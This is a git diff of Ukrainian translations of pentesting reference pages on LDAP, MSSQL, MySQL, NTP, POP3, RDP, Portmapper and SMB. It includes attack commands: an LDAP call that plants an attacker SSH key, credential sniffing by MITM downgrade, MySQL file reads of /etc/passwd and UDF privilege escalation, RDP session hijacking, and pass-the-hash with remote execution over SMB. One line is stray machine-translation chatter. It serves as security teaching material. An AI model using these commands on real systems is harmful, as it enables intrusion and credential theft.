>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```
## Перехоплення облікових даних у відкритому тексті
## Перехоплення відкритих текстових облікових даних
Якщо LDAP використовується без SSL, ви можете **перехопити облікові дані у відкритому тексті** в мережі.
Також ви можете виконати **MITM** атаку в мережі **між LDAP сервером і клієнтом.** Тут ви можете здійснити **Атаку з пониженням** так, щоб клієнт використовував **облікові дані у відкритому тексті** для входу.
**Якщо використовується SSL**, ви можете спробувати здійснити **MITM** як зазначено вище, але запропонувавши **помилковий сертифікат**, якщо **користувач його прийме**, ви зможете понизити метод аутентифікації і знову побачити облікові дані.
**Якщо використовується SSL**, ви можете спробувати здійснити **MITM** як зазначено вище, але запропонувавши **помилковий сертифікат**, якщо **користувач його прийме**, ви зможете знизити метод аутентифікації і знову побачити облікові дані.
## Анонімний доступ
@ -83,7 +83,7 @@ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
### LDAP анонімні зв'язки
[LDAP анонімні зв'язки](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) дозволяють **неавтентифікованим атакам** отримувати інформацію з домену, таку як повний список користувачів, груп, комп'ютерів, атрибутів облікових записів користувачів та політики паролів домену. Це **спадкова конфігурація**, і починаючи з Windows Server 2003, лише автентифіковані користувачі можуть ініціювати LDAP запити.\
Однак адміністратори могли налаштувати **конкретний додаток для дозволу анонімних зв'язків** і надати більше доступу, ніж планувалося, тим самим надаючи неавтентифікованим користувачам доступ до всіх об'єктів в AD.
Однак адміністратори могли налаштувати **конкретний додаток для дозволу анонімних зв'язків** і надати більше доступу, ніж передбачалося, тим самим надаючи неавтентифікованим користувачам доступ до всіх об'єктів в AD.
## Дійсні облікові дані
@ -129,7 +129,7 @@ Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
```
Якщо у вас є контекст іменування, ви можете виконати деякі більш цікаві запити. Цей простий запит має показати вам усі об'єкти в каталозі:
Якщо у вас є контекст іменування, ви можете виконати деякі більш цікаві запити. Цей простий запит має показати вам всі об'єкти в каталозі:
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
@ -290,11 +290,11 @@ Godap - це інтерактивний термінальний інтерфе
![](../images/godap.png)
Ви можете отримати доступ до нього за адресою [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Для прикладів використання та інструкцій читайте [Wiki](https://github.com/Macmod/godap/wiki).
Ви можете отримати доступ до нього за [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Для прикладів використання та інструкцій прочитайте [Wiki](https://github.com/Macmod/godap/wiki).
### Ldapx
Ldapx - це гнучкий LDAP проксі, який можна використовувати для перевірки та трансформації LDAP трафіку з інших інструментів. Його можна використовувати для обфускації LDAP трафіку, щоб спробувати обійти захист ідентичності та інструменти моніторингу LDAP, і він реалізує більшість методів, представлених у доповіді [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo).
Ldapx - це гнучкий LDAP проксі, який можна використовувати для перевірки та трансформації LDAP трафіку з інших інструментів. Його можна використовувати для обфускації LDAP трафіку, щоб спробувати обійти засоби захисту особи та моніторингу LDAP, і він реалізує більшість методів, представлених у доповіді [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo).
![](../images/ldapx.png)

View File

@ -159,10 +159,10 @@ SELECT * FROM sysusers
- **Сервер** Приклади включають бази даних, логіни, кінцеві точки, групи доступності та серверні ролі.
- **База даних** Приклади охоплюють роль бази даних, ролі додатків, схеми, сертифікати, каталоги повнотекстового пошуку та користувачів.
- **Схема** Включає таблиці, подання, процедури, функції, синоніми тощо.
2. **Permission:** Ассоціюється з SQL Server securables, дозволи, такі як ALTER, CONTROL та CREATE можуть бути надані принципалу. Управління дозволами відбувається на двох рівнях:
2. **Permission:** Пов'язане з SQL Server securables, дозволи, такі як ALTER, CONTROL та CREATE, можуть бути надані принципалу. Управління дозволами відбувається на двох рівнях:
- **Рівень сервера** за допомогою логінів
- **Рівень бази даних** за допомогою користувачів
3. **Principal:** Цей термін відноситься до сутності, якій надано дозвіл на доступ до securable. Принципали в основному включають логіни та користувачів бази даних. Контроль доступу до securables здійснюється шляхом надання або відмови в дозволах або шляхом включення логінів і користувачів у ролі, наділені правами доступу.
3. **Principal:** Цей термін відноситься до сутності, якій надано дозвіл на доступ до securable. Принципали в основному включають логіни та користувачів бази даних. Контроль доступу до securables здійснюється шляхом надання або відмови в дозволах або шляхом включення логінів і користувачів у ролі, оснащені правами доступу.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -286,7 +286,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
### **Запис файлів**
Щоб записати файли за допомогою `MSSQL`, нам **необхідно увімкнути** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), що вимагає адміністративних привілеїв, а потім виконати кілька збережених процедур для створення файлу:
Щоб записувати файли за допомогою `MSSQL`, нам **необхідно увімкнути** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), що вимагає адміністративних привілеїв, а потім виконати кілька збережених процедур для створення файлу:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -551,7 +551,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
## Підвищення локальних привілеїв
Користувач, що запускає сервер MSSQL, матиме увімкнений привілейований токен **SeImpersonatePrivilege.**\
Користувач, що запускає сервер MSSQL, матиме увімкнений привілейний токен **SeImpersonatePrivilege.**\
Ви, ймовірно, зможете **підвищити привілеї до адміністратора**, слідуючи одному з цих 2-х посилань:
{{#ref}}

View File

@ -4,7 +4,7 @@
## **Основна інформація**
**MySQL** можна описати як систему управління реляційними базами даних з відкритим вихідним кодом (**RDBMS**), яка доступна безкоштовно. Вона працює на **Structured Query Language (SQL)**, що дозволяє управляти та маніпулювати базами даних.
**MySQL** можна описати як відкриту систему управління реляційними базами даних (**RDBMS**), яка доступна безкоштовно. Вона працює на **Structured Query Language (SQL)**, що дозволяє управляти та маніпулювати базами даних.
**Порт за замовчуванням:** 3306
```
@ -34,7 +34,7 @@ msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
### [**Брутфорс**](../generic-hacking/brute-force.md#mysql)
### Записати будь-які бінарні дані
```bash
@ -111,7 +111,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
## MySQL довільне читання файлів клієнтом
Насправді, коли ви намагаєтеся **завантажити дані локально в таблицю** **вміст файлу**, сервер MySQL або MariaDB запитує **клієнта, щоб прочитати його** і надіслати вміст. **Тоді, якщо ви зможете підробити mysql клієнт для підключення до вашого власного MySQL сервера, ви зможете читати довільні файли.**\
Насправді, коли ви намагаєтеся **завантажити дані локально в таблицю** **вміст файлу**, сервер MySQL або MariaDB запитує **клієнта, щоб прочитати його** і надіслати вміст. **Тоді, якщо ви можете підробити mysql клієнт для підключення до вашого власного MySQL сервера, ви можете читати довільні файли.**\
Зверніть увагу, що це поведінка при використанні:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -123,7 +123,7 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Початковий PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**У цій статті ви можете побачити повний опис атаки і навіть як її розширити до RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Тут ви можете знайти огляд атаки:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -133,9 +133,9 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
## POST
### Mysql User
### Mysql Користувач
Це буде дуже цікаво, якщо mysql працює як **root**:
Було б дуже цікаво, якщо mysql працює як **root**:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
@ -147,8 +147,8 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
- Налаштування **`user`** використовується для призначення користувача, під яким буде виконуватися служба MySQL.
- **`password`** застосовується для встановлення пароля, пов'язаного з користувачем MySQL.
- **`admin_address`** вказує IP-адресу, яка слухає TCP/IP з'єднання на адміністративному мережевому інтерфейсі.
- Змінна **`debug`** вказує на поточні конфігурації налагодження, включаючи чутливу інформацію в журналах.
- **`sql_warnings`** керує тим, чи генеруються інформаційні рядки для одноразових операторів INSERT, коли виникають попередження, що містять чутливі дані в журналах.
- Змінна **`debug`** вказує на поточні налаштування налагодження, включаючи чутливу інформацію в журналах.
- **`sql_warnings`** керує тим, чи генеруються інформаційні рядки для операторів INSERT з одним рядком, коли виникають попередження, що містять чутливі дані в журналах.
- З **`secure_file_priv`** обсяг операцій імпорту та експорту даних обмежується для підвищення безпеки.
### Підвищення привілеїв
@ -171,7 +171,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
```
### Підвищення привілеїв через бібліотеку
Якщо **mysql сервер працює під root** (або іншим більш привілейованим користувачем), ви можете змусити його виконувати команди. Для цього вам потрібно використовувати **функції, визначені користувачем**. А щоб створити функцію, визначену користувачем, вам знадобиться **бібліотека** для ОС, на якій працює mysql.
Якщо **mysql сервер працює під root** (або іншим більш привілейованим користувачем), ви можете змусити його виконувати команди. Для цього вам потрібно використовувати **використовувані користувачем функції**. А щоб створити функцію, визначену користувачем, вам знадобиться **бібліотека** для ОС, на якій працює mysql.
Зловмисну бібліотеку можна знайти всередині sqlmap і metasploit, виконавши **`locate "*lib_mysqludf_sys*"`**. Файли **`.so`** є **linux** бібліотеками, а **`.dll`** - це **Windows** бібліотеки, виберіть ту, яка вам потрібна.
@ -222,7 +222,7 @@ cat /etc/mysql/debian.cnf
```
Ви можете **використовувати ці облікові дані для входу в базу даних mysql**.
У файлі: _/var/lib/mysql/mysql/user.MYD_ ви можете знайти **всі хеші користувачів MySQL** (ті, які ви можете витягти з mysql.user всередині бази даних)_._
Всередині файлу: _/var/lib/mysql/mysql/user.MYD_ ви можете знайти **всі хеші користувачів MySQL** (ті, які ви можете витягти з mysql.user всередині бази даних)_._
Ви можете витягти їх, виконавши:
```bash

View File

@ -4,7 +4,7 @@
## Основна інформація
**Протокол мережевого часу (NTP)** забезпечує синхронізацію годинників комп'ютерів та мережевих пристроїв через мережі з різною затримкою. Це важливо для підтримки точної облікової інформації в ІТ-операціях, безпеці та веденні журналів. Точність NTP є суттєвою, але вона також несе ризики безпеки, якщо не управляється належним чином.
**Протокол мережевого часу (NTP)** забезпечує синхронізацію годинників комп'ютерів та мережевих пристроїв через мережі з різною затримкою. Це важливо для підтримки точної облікової інформації в ІТ-операціях, безпеці та веденні журналів. Точність NTP є суттєвою, але вона також несе в собі ризики безпеки, якщо не управляти нею належним чином.
### Резюме та поради з безпеки:
@ -13,7 +13,7 @@
- **Заходи безпеки**:
- Використовуйте надійні джерела NTP з автентифікацією.
- Обмежте доступ до мережі NTP-сервера.
- Моніторте синхронізацію на наявність ознак підробки.
- Моніторте синхронізацію на предмет ознак підробки.
**Порт за замовчуванням:** 123/udp
```
@ -42,7 +42,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
[**How NTP DDoS Attack Works**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
Протокол **NTP**, що використовує UDP, дозволяє працювати без необхідності в процедурах рукопожаття, на відміну від TCP. Ця характеристика експлуатується в **NTP DDoS amplification attacks**. Тут зловмисники створюють пакети з підробленою IP-адресою джерела, що створює враження, що запити атаки надходять від жертви. Ці пакети, спочатку невеликі, змушують NTP сервер відповідати набагато більшими обсягами даних, посилюючи атаку.
Протокол **NTP**, що використовує UDP, дозволяє працювати без необхідності в процедурах рукопожаття, на відміну від TCP. Ця характеристика експлуатується в **NTP DDoS amplification attacks**. Тут зловмисники створюють пакети з підробленою IP-адресою джерела, що створює враження, ніби запити атаки надходять від жертви. Ці пакети, спочатку невеликі, змушують NTP-сервер відповідати значно більшими обсягами даних, посилюючи атаку.
Команда _**MONLIST**_, незважаючи на рідкісне використання, може повідомити про останні 600 клієнтів, підключених до служби NTP. Хоча сама команда є простою, її зловживання в таких атаках підкреслює критичні вразливості безпеки.
```bash

View File

@ -4,14 +4,14 @@
## Основна інформація
**Post Office Protocol (POP)** описується як протокол у сфері комп'ютерних мереж і Інтернету, який використовується для витягування та **отримання електронної пошти з віддаленого поштового сервера**, що робить її доступною на локальному пристрої. Розташований у прикладному шарі моделі OSI, цей протокол дозволяє користувачам отримувати та отримувати електронну пошту. Робота **POP-клієнтів** зазвичай передбачає встановлення з'єднання з поштовим сервером, завантаження всіх повідомлень, зберігання цих повідомлень локально на клієнтській системі та подальше їх видалення з сервера. Хоча існує три версії цього протоколу, **POP3** виділяється як найпоширеніша версія.
**Post Office Protocol (POP)** описується як протокол у сфері комп'ютерних мереж і Інтернету, який використовується для витягування та **отримання електронної пошти з віддаленого поштового сервера**, що робить її доступною на локальному пристрої. Розташований у прикладному шарі моделі OSI, цей протокол дозволяє користувачам отримувати та отримувати електронну пошту. Робота **POP клієнтів** зазвичай передбачає встановлення з'єднання з поштовим сервером, завантаження всіх повідомлень, зберігання цих повідомлень локально на клієнтській системі та подальше їх видалення з сервера. Хоча існує три версії цього протоколу, **POP3** виділяється як найбільш поширена версія.
**Порт за замовчуванням:** 110, 995(ssl)
```
PORT STATE SERVICE
110/tcp open pop3
```
## Перерахування
## Перерахунок
### Отримання банера
```bash
@ -46,7 +46,7 @@ QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg
CAPA Get capabilities
```
Please provide the text you would like me to translate.
I'm ready to assist you with the translation. Please provide the text you would like me to translate.
```
root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready

View File

@ -5,7 +5,7 @@
## Основна інформація
Розроблений компанією Microsoft, **Remote Desktop Protocol** (**RDP**) призначений для забезпечення графічного інтерфейсу з'єднання між комп'ютерами через мережу. Для встановлення такого з'єднання користувач використовує програмне забезпечення клієнта **RDP**, а одночасно віддалений комп'ютер повинен працювати з програмним забезпеченням сервера **RDP**. Ця конфігурація дозволяє безперешкодно контролювати та отримувати доступ до робочого середовища віддаленого комп'ютера, фактично виводячи його інтерфейс на локальний пристрій користувача.
Розроблений компанією Microsoft, **Remote Desktop Protocol** (**RDP**) призначений для забезпечення графічного інтерфейсу з'єднання між комп'ютерами через мережу. Для встановлення такого з'єднання користувач використовує програмне забезпечення клієнта **RDP**, а одночасно віддалений комп'ютер повинен працювати з програмним забезпеченням сервера **RDP**. Ця конфігурація дозволяє безперешкодно контролювати та отримувати доступ до робочого середовища віддаленого комп'ютера, фактично переношуючи його інтерфейс на локальний пристрій користувача.
**Порт за замовчуванням:** 3389
```
@ -62,7 +62,7 @@ tscon <ID> /dest:<SESSIONNAME>
```
Тепер ви будете всередині вибраної RDP-сесії і зможете видавати себе за користувача, використовуючи лише інструменти та функції Windows.
**Важливо**: Коли ви отримуєте доступ до активних RDP-сесій, ви виведете користувача, який їх використовував.
**Важливо**: Коли ви отримуєте доступ до активних RDP-сесій, ви виведете користувача, який її використовував.
Ви можете отримати паролі з процесу, вивантажуючи його, але цей метод набагато швидший і дозволяє вам взаємодіяти з віртуальними робочими столами користувача (паролі в блокноті без збереження на диску, інші RDP-сесії, відкриті на інших машинах...)
@ -95,14 +95,14 @@ net localgroup "Remote Desktop Users" UserLoginName /add
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** є фреймворком пост-експлуатації, створеним у Powershell, призначеним переважно для автоматизації атаки **Shadow** на комп'ютерах Microsoft Windows. Ця вразливість (перерахована як функція Microsoft) дозволяє віддаленому зловмиснику **переглядати робочий стіл жертви без її згоди**, а також контролювати його на вимогу, використовуючи інструменти, вбудовані в саму операційну систему.
**AutoRDPwn** - це фреймворк пост-експлуатації, створений на Powershell, призначений в основному для автоматизації атаки **Shadow** на комп'ютерах Microsoft Windows. Ця вразливість (перерахована як функція Microsoft) дозволяє віддаленому зловмиснику **переглядати робочий стіл жертви без її згоди** і навіть контролювати його на вимогу, використовуючи інструменти, рідні для самої операційної системи.
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
- Контролюйте мишу та клавіатуру автоматизованим способом з командного рядка
- Контролюйте буфер обміну автоматизованим способом з командного рядка
- Створіть SOCKS-проксі з клієнта, який перенаправляє мережеву комунікацію до цілі через RDP
- Створіть SOCKS-проксі з клієнта, який каналує мережеве спілкування до цілі через RDP
- Виконуйте довільні команди SHELL та PowerShell на цілі без завантаження файлів
- Завантажуйте та завантажуйте файли до/з цілі, навіть коли передача файлів на цілі вимкнена
- Завантажуйте та завантажуйте файли до/з цілі, навіть коли передача файлів вимкнена на цілі
## HackTricks Automatic Commands
```

View File

@ -4,7 +4,7 @@
## Basic Information
**Portmapper** - це служба, яка використовується для відображення портів мережевих служб на номери програм **RPC** (Remote Procedure Call). Вона є критично важливим компонентом у **Unix-системах**, що полегшує обмін інформацією між цими системами. **Порт**, пов'язаний з **Portmapper**, часто сканується зловмисниками, оскільки може розкрити цінну інформацію. Ця інформація включає тип **Unix Operating System (OS)**, що працює, та деталі про служби, які доступні в системі. Крім того, **Portmapper** зазвичай використовується разом з **NFS (Network File System)**, **NIS (Network Information Service)** та іншими **RPC-based services** для ефективного управління мережевими службами.
**Portmapper** - це служба, яка використовується для відображення портів мережевих служб на номери програм **RPC** (Remote Procedure Call). Вона є критично важливим компонентом у **Unix-подібних системах**, що полегшує обмін інформацією між цими системами. **Порт**, пов'язаний з **Portmapper**, часто сканується зловмисниками, оскільки може розкрити цінну інформацію. Ця інформація включає тип **Unix Operating System (OS)**, що працює, та деталі про служби, які доступні в системі. Крім того, **Portmapper** зазвичай використовується разом з **NFS (Network File System)**, **NIS (Network Information Service)** та іншими **RPC-based services** для ефективного управління мережевими службами.
**Default port:** 111/TCP/UDP, 32771 in Oracle Solaris
```
@ -60,7 +60,7 @@ ypcat d <domain-name> h <server-ip> passwd.byname
## RPC Користувачі
Якщо ви знайдете сервіс **rusersd**, вказаний таким чином:
Якщо ви знайдете сервіс **rusersd**, зазначений таким чином:
![](<../images/image (1041).png>)

View File

@ -4,7 +4,7 @@
## **Порт 139**
_**Система базового введення-виведення мережі**_** (NetBIOS)** є програмним протоколом, розробленим для забезпечення взаємодії додатків, ПК та робочих станцій у локальній мережі (LAN) з мережевим обладнанням та **сприяння передачі даних через мережу**. Ідентифікація та розташування програмних додатків, що працюють у мережі NetBIOS, здійснюється через їхні імена NetBIOS, які можуть мати до 16 символів у довжину і часто відрізняються від імені комп'ютера. Сесія NetBIOS між двома додатками ініціюється, коли один додаток (який діє як клієнт) віддає команду "викликати" інший додаток (який діє як сервер), використовуючи **TCP Port 139**.
_**Network Basic Input Output System**_** (NetBIOS)** - це програмний протокол, розроблений для того, щоб дозволити додаткам, ПК та робочим станціям у локальній мережі (LAN) взаємодіяти з мережевим обладнанням та **сприяти передачі даних через мережу**. Ідентифікація та розташування програмного забезпечення, що працює в мережі NetBIOS, здійснюється через їхні імена NetBIOS, які можуть мати до 16 символів у довжину і часто відрізняються від імені комп'ютера. Сесія NetBIOS між двома додатками ініціюється, коли один додаток (який діє як клієнт) віддає команду "викликати" інший додаток (який діє як сервер), використовуючи **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
@ -20,7 +20,7 @@ _**Система базового введення-виведення мере
Протокол **Server Message Block (SMB)**, що працює за моделлю **клієнт-сервер**, призначений для регулювання **доступу до файлів**, каталогів та інших мережевих ресурсів, таких як принтери та маршрутизатори. Переважно використовується в серії операційних систем **Windows**, SMB забезпечує зворотну сумісність, дозволяючи пристроям з новішими версіями операційної системи Microsoft безперешкодно взаємодіяти з тими, що працюють на старіших версіях. Крім того, проект **Samba** пропонує безкоштовне програмне забезпечення, що дозволяє реалізувати SMB на системах **Linux** та Unix, тим самим полегшуючи крос-платформену комунікацію через SMB.
Спільні ресурси, що представляють **произвольні частини локальної файлової системи**, можуть надаватися сервером SMB, роблячи ієрархію видимою для клієнта частково **незалежною** від фактичної структури сервера. **Списки контролю доступу (ACLs)**, які визначають **права доступу**, дозволяють **точний контроль** над дозволами користувачів, включаючи атрибути, такі як **`execute`**, **`read`** та **`full access`**. Ці дозволи можуть бути призначені окремим користувачам або групам, залежно від спільних ресурсів, і відрізняються від локальних дозволів, встановлених на сервері.
Спільні ресурси, що представляють **произвольні частини локальної файлової системи**, можуть надаватися сервером SMB, що робить ієрархію видимою для клієнта частково **незалежно** від фактичної структури сервера. **Списки контролю доступу (ACLs)**, які визначають **права доступу**, дозволяють **точний контроль** над дозволами користувачів, включаючи атрибути, такі як **`execute`**, **`read`** та **`full access`**. Ці дозволи можуть бути призначені окремим користувачам або групам, залежно від спільних ресурсів, і відрізняються від локальних дозволів, встановлених на сервері.
### IPC$ Share
@ -36,11 +36,11 @@ _**Система базового введення-виведення мере
```bash
enum4linux -a target_ip
```
Вищезазначена команда є прикладом того, як `enum4linux` може бути використаний для виконання повної енумерації проти цілі, вказаної за допомогою `target_ip`.
Вищезазначена команда є прикладом того, як `enum4linux` може бути використано для виконання повної енумерації проти цілі, вказаної за допомогою `target_ip`.
## Що таке NTLM
Якщо ви не знаєте, що таке NTLM, або хочете дізнатися, як він працює і як його зловживати, вам буде дуже цікаво ознайомитися з цією сторінкою про **NTLM**, де пояснюється **як працює цей протокол і як ви можете скористатися ним:**
Якщо ви не знаєте, що таке NTLM або хочете дізнатися, як він працює і як його зловживати, вам буде дуже цікаво ознайомитися з цією сторінкою про **NTLM**, де пояснюється **як працює цей протокол і як ви можете скористатися ним:**
{{#ref}}
../windows-hardening/ntlm/
@ -161,7 +161,7 @@ pentesting-smb/rpcclient-enumeration.md
`xdg-open smb://cascade.htb/`
#### У вікні файлового браузера (nautilus, thunar тощо)
#### У вікні файлового менеджера (nautilus, thunar тощо)
`smb://friendzone.htb/general/`
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
```
### **Вручну перерахувати спільні ресурси Windows та підключитися до них**
Можливо, вам заборонено відображати будь-які спільні ресурси хост-машини, і коли ви намагаєтеся їх перерахувати, здається, що немає жодних ресурсів для підключення. Тому варто спробувати вручну підключитися до спільного ресурсу. Щоб вручну перерахувати спільні ресурси, ви можете звернути увагу на відповіді, такі як NT_STATUS_ACCESS_DENIED та NT_STATUS_BAD_NETWORK_NAME, використовуючи дійсну сесію (наприклад, нульову сесію або дійсні облікові дані). Це може вказувати на те, чи існує спільний ресурс і у вас немає до нього доступу, або спільний ресурс взагалі не існує.
Можливо, вам заборонено відображати будь-які спільні ресурси хост-машини, і коли ви намагаєтеся їх перерахувати, здається, що немає жодних ресурсів для підключення. Тому варто спробувати вручну підключитися до спільного ресурсу. Щоб вручну перерахувати спільні ресурси, ви можете звернути увагу на відповіді, такі як NT_STATUS_ACCESS_DENIED та NT_STATUS_BAD_NETWORK_NAME, використовуючи дійсну сесію (наприклад, нульову сесію або дійсні облікові дані). Це може вказувати на те, чи існує спільний ресурс, і ви не маєте до нього доступу, або спільний ресурс взагалі не існує.
Звичайні імена спільних ресурсів для цілей Windows:
@ -210,7 +210,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
- SYSVOL
- NETLOGON
(Звичайні імена спільних ресурсів з _**Оцінки безпеки мережі 3-е видання**_)
(Звичайні імена спільних ресурсів з _**Network Security Assessment 3rd edition**_)
Ви можете спробувати підключитися до них, використовуючи наступну команду
```bash
@ -300,7 +300,7 @@ smbclient //<IP>/<share>
### Пошук спільних папок домену
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
@ -310,10 +310,10 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Особливо цікаві з загальних ресурсів файли під назвою **`Registry.xml`**, оскільки вони **можуть містити паролі** для користувачів, налаштованих на **автологін** через групову політику. Або файли **`web.config`**, оскільки вони містять облікові дані.
Спеціально цікаві з загальних ресурсів файли, названі **`Registry.xml`**, оскільки вони **можуть містити паролі** для користувачів, налаштованих на **автологін** через групову політику. Або файли **`web.config`**, оскільки вони містять облікові дані.
> [!NOTE]
> **SYSVOL share** є **доступним для читання** для всіх автентифікованих користувачів у домені. Там ви можете **знайти** багато різних пакетних, VBScript та PowerShell **скриптів**.\
> **SYSVOL share** є **доступним для читання** всіма автентифікованими користувачами в домені. Там ви можете **знайти** багато різних пакетних, VBScript та PowerShell **скриптів**.\
> Вам слід **перевірити** **скрипти** всередині, оскільки ви можете **знайти** чутливу інформацію, таку як **паролі**.
## Читання реєстру
@ -326,7 +326,7 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
```
## Постексплуатація
**За замовчуванням конфігурація** сервера **Samba** зазвичай розташована в `/etc/samba/smb.conf` і може містити деякі **небезпечні конфігурації**:
**За замовчуванням конфігурація** сервера **Samba** зазвичай розташована в `/etc/samba/smb.conf` і може містити деякі **небезпечні налаштування**:
| **Налаштування** | **Опис** |
| --------------------------- | ------------------------------------------------------------------- |
@ -337,7 +337,7 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
| `enable privileges = yes` | Враховувати привілеї, призначені конкретному SID? |
| `create mask = 0777` | Які дозволи повинні бути призначені новоствореним файлам? |
| `directory mask = 0777` | Які дозволи повинні бути призначені новоствореним каталогам? |
| `logon script = script.sh` | Який скрипт потрібно виконати під час входу користувача? |
| `logon script = script.sh` | Який скрипт потрібно виконати під час входу користувача? |
| `magic script = script.sh` | Який скрипт повинен бути виконаний, коли скрипт закривається? |
| `magic output = script.out` | Де потрібно зберігати вихідні дані магічного скрипта? |
@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
crackmapexec може виконувати команди **зловживаючи** будь-яким з **mmcexec, smbexec, atexec, wmiexec**, при цьому **wmiexec** є **за замовчуванням** методом. Ви можете вказати, який варіант ви віддаєте перевагу, за допомогою параметра `--exec-method`:
crackmapexec може виконувати команди **зловживаючи** будь-яким з **mmcexec, smbexec, atexec, wmiexec**, при цьому **wmiexec** є **методом за замовчуванням**. Ви можете вказати, який варіант ви віддаєте перевагу, за допомогою параметра `--exec-method`:
```bash
apt-get install crackmapexec
@ -378,7 +378,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
Обидва варіанти **створять нову службу** (використовуючи _\pipe\svcctl_ через SMB) на машині жертви і використовують її для **виконання чогось** (**psexec** **завантажить** виконуваний файл до ADMIN$ share, а **smbexec** вказуватиме на **cmd.exe/powershell.exe** і передаватиме в аргументах payload --**безфайлова техніка-**-).\
Обидва варіанти **створять нову службу** (використовуючи _\pipe\svcctl_ через SMB) на машині жертви і використовують її для **виконання чогось** (**psexec** **завантажить** виконуваний файл до ADMIN$ спільного доступу, а **smbexec** вказуватиме на **cmd.exe/powershell.exe** і передаватиме в аргументах корисне навантаження --**техніка без файлів-**-).\
**Більше інформації** про [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)та [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
